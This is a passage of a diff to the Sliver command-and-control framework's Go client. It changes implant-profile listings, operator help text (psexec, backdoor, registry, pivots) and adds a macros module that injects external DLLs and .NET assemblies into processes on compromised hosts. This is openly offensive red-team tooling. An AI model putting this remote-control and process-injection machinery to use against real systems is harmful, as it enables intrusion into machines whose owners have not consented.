fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
)
|
||||
}
|
||||
implantType := "session"
|
||||
if config.IsBeacon {
|
||||
implantType = "beacon"
|
||||
if 1 < len(config.C2) {
|
||||
for index, c2 := range config.C2[1:] {
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n",
|
||||
"",
|
||||
"",
|
||||
fmt.Sprintf("[%d] %s", index+2, c2.URL),
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
"",
|
||||
)
|
||||
}
|
||||
}
|
||||
c2URLs := []string{}
|
||||
for index, c2 := range config.C2 {
|
||||
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
profile.Name,
|
||||
implantType,
|
||||
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
|
||||
strings.Join(c2URLs, "\n"),
|
||||
fmt.Sprintf("%v", config.Debug),
|
||||
fmt.Sprintf("%v", config.Format),
|
||||
obfuscation,
|
||||
getLimitsString(config),
|
||||
})
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t%s\t%s\t%s\n", "", "", "", "", "", "", "")
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
table.Flush()
|
||||
}
|
||||
|
||||
func getImplantProfiles(con *console.SliverConsoleClient) []*clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Error %s", err)
|
||||
return nil
|
||||
}
|
||||
return pbProfiles.Profiles
|
||||
}
|
||||
|
||||
// GetImplantProfileByName - Get an implant profile by a specific name
|
||||
func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *clientpb.ImplantProfile {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Error %s", err)
|
||||
return nil
|
||||
}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
@@ -117,18 +114,3 @@ func GetImplantProfileByName(name string, con *console.SliverConsoleClient) *cli
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// ProfileNameCompleter - Completer for implant build names
|
||||
func ProfileNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
pbProfiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return []string{}
|
||||
}
|
||||
results := []string{}
|
||||
for _, profile := range pbProfiles.Profiles {
|
||||
if strings.HasPrefix(profile.Name, prefix) {
|
||||
results = append(results, profile.Name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -46,7 +46,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
for _, c := range con.App.Commands().All() {
|
||||
key := c.HelpGroup
|
||||
targetOS := ""
|
||||
session, beacon := con.ActiveTarget.Get()
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session != nil {
|
||||
targetOS = session.OS
|
||||
} else if beacon != nil {
|
||||
@@ -57,7 +57,7 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
continue
|
||||
}
|
||||
} else {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.AliasHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
|
||||
continue
|
||||
}
|
||||
}
|
||||
@@ -97,7 +97,6 @@ func printHelp(con *console.SliverConsoleClient) {
|
||||
con.Println()
|
||||
printHeadline(con.App.Config(), headline, con)
|
||||
con.Printf("%s\n", columnize.Format(output, config))
|
||||
con.Println()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -71,7 +71,7 @@ var (
|
||||
consts.MigrateStr: migrateHelp,
|
||||
consts.SideloadStr: sideloadHelp,
|
||||
consts.TerminateStr: terminateHelp,
|
||||
consts.AliasesStr: loadAliasHelp,
|
||||
consts.LoadMacroStr: loadMacrosHelp,
|
||||
consts.PsExecStr: psExecHelp,
|
||||
consts.BackdoorStr: backdoorHelp,
|
||||
consts.SpawnDllStr: spawnDllHelp,
|
||||
@@ -84,7 +84,6 @@ var (
|
||||
consts.RegistryWriteStr: regWriteHelp,
|
||||
consts.RegistryReadStr: regReadHelp,
|
||||
consts.RegistryCreateKeyStr: regCreateKeyHelp,
|
||||
consts.RegistryDeleteKeyStr: regDeleteKeyHelp,
|
||||
consts.PivotsStr: pivotsHelp,
|
||||
consts.WgPortFwdStr: wgPortFwdHelp,
|
||||
consts.WgSocksStr: wgSocksHelp,
|
||||
@@ -212,12 +211,12 @@ profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4
|
||||
|
||||
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
|
||||
Profiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same
|
||||
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with "profiles generate":
|
||||
profiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name
|
||||
profiles generate my-profile-name
|
||||
settings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with generate-profile:
|
||||
profiles new --profile-name mtls-profile --mtls foo.example.com --canary 1.foobar.com
|
||||
generate-profile mtls-profile
|
||||
`
|
||||
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate [name] <options>
|
||||
generateProfileHelp = `[[.Bold]]Command:[[.Normal]] generate-profile [name] <options>
|
||||
[[.Bold]]About:[[.Normal]] Generate an implant from a saved profile (see 'profiles new --help').`
|
||||
|
||||
msfHelp = `[[.Bold]]Command:[[.Normal]] msf [--lhost] <options>
|
||||
@@ -371,7 +370,7 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
|
||||
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
|
||||
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
|
||||
`
|
||||
loadAliasHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
|
||||
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
|
||||
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
|
||||
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
|
||||
@@ -483,11 +482,6 @@ When using the binary type, you must either:
|
||||
[[.Bold]]Example:[[.Normal]] registry create --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
regDeleteKeyHelp = `[[.Bold]]Command:[[.Normal]] registry delete PATH [name]
|
||||
[[.Bold]]About:[[.Normal]] Remove a value from the windows registry
|
||||
[[.Bold]]Example:[[.Normal]] registry delete --hive HKLM "software\\google\\chrome\\BLBeacon\\version"
|
||||
`
|
||||
|
||||
pivotsHelp = `[[.Bold]]Command:[[.Normal]] pivots
|
||||
[[.Bold]]About:[[.Normal]] List pivots for the current session. NOTE: pivots are only supported on sessions, not beacons.
|
||||
[[.Bold]]Examples:[[.Normal]]
|
||||
|
||||
@@ -81,7 +81,7 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
shortID,
|
||||
host.Hostname,
|
||||
host.OSVersion,
|
||||
hostSessions(host.HostUUID, con),
|
||||
hostSessionNumbers(host.HostUUID, con),
|
||||
hostBeacons(host.HostUUID, con),
|
||||
len(host.IOCs),
|
||||
len(host.ExtensionData),
|
||||
@@ -90,16 +90,16 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
|
||||
return tw.Render()
|
||||
}
|
||||
|
||||
func hostSessions(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
hostSessions := SessionsForHost(hostUUID, con)
|
||||
if len(hostSessions) == 0 {
|
||||
if 0 == len(hostSessions) {
|
||||
return "None"
|
||||
}
|
||||
sessionIDs := []string{}
|
||||
sessionNumbers := []string{}
|
||||
for _, hostSession := range hostSessions {
|
||||
sessionIDs = append(sessionIDs, strings.Split(hostSession.ID, "-")[0])
|
||||
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
|
||||
}
|
||||
return fmt.Sprintf("%d", len(sessionIDs))
|
||||
return strings.Join(sessionNumbers, ", ")
|
||||
}
|
||||
|
||||
func hostBeacons(hostUUID string, con *console.SliverConsoleClient) string {
|
||||
|
||||
@@ -19,8 +19,6 @@ package info
|
||||
*/
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
|
||||
@@ -35,7 +33,7 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
if session != nil {
|
||||
|
||||
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" ID: %s%d\n", console.Normal, session.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, session.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, session.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, session.UUID)
|
||||
@@ -46,14 +44,13 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
|
||||
con.Printf(console.Bold+"Reconnect Interval: %s%d\n", console.Normal, session.ReconnectInterval)
|
||||
|
||||
} else if beacon != nil {
|
||||
|
||||
con.Printf(console.Bold+" Beacon ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" ID: %s%s\n", console.Normal, beacon.ID)
|
||||
con.Printf(console.Bold+" Name: %s%s\n", console.Normal, beacon.Name)
|
||||
con.Printf(console.Bold+" Hostname: %s%s\n", console.Normal, beacon.Hostname)
|
||||
con.Printf(console.Bold+" UUID: %s%s\n", console.Normal, beacon.UUID)
|
||||
@@ -64,11 +61,10 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
|
||||
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
|
||||
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
|
||||
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
|
||||
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
|
||||
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
|
||||
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
|
||||
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
|
||||
con.Printf(console.Bold+" Interval: %s%d\n", console.Normal, beacon.Interval)
|
||||
con.Printf(console.Bold+" Jitter: %s%d\n", console.Normal, beacon.Jitter)
|
||||
|
||||
} else {
|
||||
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
|
||||
|
||||
+15
-22
@@ -21,15 +21,16 @@ package jobs
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// JobsCmd - Manage server jobs (listeners, etc)
|
||||
@@ -50,41 +51,33 @@ func JobsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
activeJobs[job.ID] = job
|
||||
}
|
||||
if 0 < len(activeJobs) {
|
||||
PrintJobs(activeJobs, con)
|
||||
printJobs(activeJobs)
|
||||
} else {
|
||||
con.PrintInfof("No active jobs\n")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PrintJobs - Prints a list of active jobs
|
||||
func PrintJobs(jobs map[uint32]*clientpb.Job, con *console.SliverConsoleClient) {
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Name",
|
||||
"Protocol",
|
||||
"Port",
|
||||
})
|
||||
func printJobs(jobs map[uint32]*clientpb.Job) {
|
||||
table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0)
|
||||
fmt.Fprintf(table, "ID\tName\tProtocol\tPort\t\n")
|
||||
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
|
||||
strings.Repeat("=", len("ID")),
|
||||
strings.Repeat("=", len("Name")),
|
||||
strings.Repeat("=", len("Protocol")),
|
||||
strings.Repeat("=", len("Port")))
|
||||
|
||||
var keys []int
|
||||
for _, job := range jobs {
|
||||
keys = append(keys, int(job.ID))
|
||||
}
|
||||
sort.Ints(keys)
|
||||
sort.Ints(keys) // Fucking Go can't sort int32's, so we convert to/from int's
|
||||
|
||||
for _, k := range keys {
|
||||
job := jobs[uint32(k)]
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf("%d", job.ID),
|
||||
job.Name,
|
||||
job.Protocol,
|
||||
fmt.Sprintf("%d", job.Port),
|
||||
})
|
||||
fmt.Fprintf(table, "%d\t%s\t%s\t%d\t\n", job.ID, job.Name, job.Protocol, job.Port)
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
table.Flush()
|
||||
}
|
||||
|
||||
func jobKill(jobID uint32, con *console.SliverConsoleClient) {
|
||||
|
||||
@@ -35,9 +35,10 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
// Confirm with the user, just in case they confused kill with terminate
|
||||
confirm := false
|
||||
con.PrintWarnf("WARNING: This will kill the remote implant process\n\n")
|
||||
promptSession := &survey.Confirm{Message: "Kill the active session?"}
|
||||
promptBeacon := &survey.Confirm{Message: "Kill the active beacon?"}
|
||||
if session != nil {
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active session?"}, &confirm, nil)
|
||||
survey.AskOne(promptSession, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
@@ -46,11 +47,12 @@ func KillCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Killed %s (%s)\n", session.Name, session.ID)
|
||||
con.PrintInfof("Killed %s (%d)\n", session.Name, session.ID)
|
||||
con.ActiveTarget.Background()
|
||||
return
|
||||
} else if beacon != nil {
|
||||
survey.AskOne(&survey.Confirm{Message: "Kill the active beacon?"}, &confirm, nil)
|
||||
}
|
||||
if beacon != nil {
|
||||
survey.AskOne(promptBeacon, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
|
||||
@@ -1,11 +1,4 @@
|
||||
Alias
|
||||
Macros
|
||||
===========
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
|
||||
|
||||
|
||||
### Format
|
||||
|
||||
* `alias-dir/`
|
||||
* * `manifest.json` -
|
||||
@@ -0,0 +1,335 @@
|
||||
package macros
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
const (
|
||||
defaultTimeout = 60
|
||||
|
||||
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
|
||||
linuxDefaultHostProc = "/bin/bash"
|
||||
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
|
||||
)
|
||||
|
||||
var commandMap map[string]macro
|
||||
var defaultHostProc = map[string]string{
|
||||
"windows": windowsDefaultHostProc,
|
||||
"linux": windowsDefaultHostProc,
|
||||
"darwin": macosDefaultHostProc,
|
||||
}
|
||||
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
||||
type macroFile struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type macroCommand struct {
|
||||
Name string `json:"name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"longHelp"`
|
||||
AllowArgs bool `json:"allowArgs"`
|
||||
DefaultArgs string `json:"defaultArgs"`
|
||||
MacroFiles []macroFile `json:"extFiles"`
|
||||
IsReflective bool `json:"isReflective"`
|
||||
IsAssembly bool `json:"IsAssembly"`
|
||||
}
|
||||
|
||||
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
type macro struct {
|
||||
Name string `json:"macroName"`
|
||||
Commands []macroCommand `json:"macroCommands"`
|
||||
Path string
|
||||
}
|
||||
|
||||
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, c := range e.Commands {
|
||||
if cmdName == c.Name {
|
||||
for _, ef := range c.MacroFiles {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
|
||||
for _, x := range e.Commands {
|
||||
if x.Name == name {
|
||||
extCmd = &x
|
||||
return
|
||||
}
|
||||
}
|
||||
err = fmt.Errorf("no macro command found for name %s", name)
|
||||
return
|
||||
}
|
||||
|
||||
// LoadMacroCmd - Locally load a macro into the Sliver shell.
|
||||
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
|
||||
// retrieve macro manifest
|
||||
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
// parse it
|
||||
ext := ¯o{}
|
||||
err = json.Unmarshal(jsonBytes, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error loading macro: %v", err)
|
||||
return
|
||||
}
|
||||
ext.Path = dirPath
|
||||
// for each macro command, add a new app command
|
||||
for _, extCmd := range ext.Commands {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, ctx.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
|
||||
// Have to use a global map here, as passing the extCmd
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
macroCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runMacroCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if extCmd.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.MacroHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(macroCmd)
|
||||
}
|
||||
con.PrintInfof("%s macro has been loaded\n", ext.Name)
|
||||
}
|
||||
|
||||
func runMacroCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No macro command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
c, err := ext.getCommandFromName(ctx.Command.Name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(c.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = c.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = c.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: c.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]macro)
|
||||
}
|
||||
@@ -35,7 +35,7 @@ func PivotDetailsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
@@ -86,10 +86,10 @@ func PrintPivotListenerDetails(listener *sliverpb.PivotListener, con *console.Sl
|
||||
"ID",
|
||||
"Remote Address",
|
||||
})
|
||||
for _, pivotListener := range listener.Pivots {
|
||||
for _, pivot := range listener.Pivots {
|
||||
tw.AppendRow(table.Row{
|
||||
pivotListener.PeerID,
|
||||
pivotListener.RemoteAddress,
|
||||
pivot.ID,
|
||||
pivot.RemoteAddress,
|
||||
})
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
|
||||
@@ -35,7 +35,7 @@ func PivotsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
pivotListeners, err := con.Rpc.PivotSessionListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
pivotListeners, err := con.Rpc.PivotListeners(context.Background(), &sliverpb.PivotListenersReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
|
||||
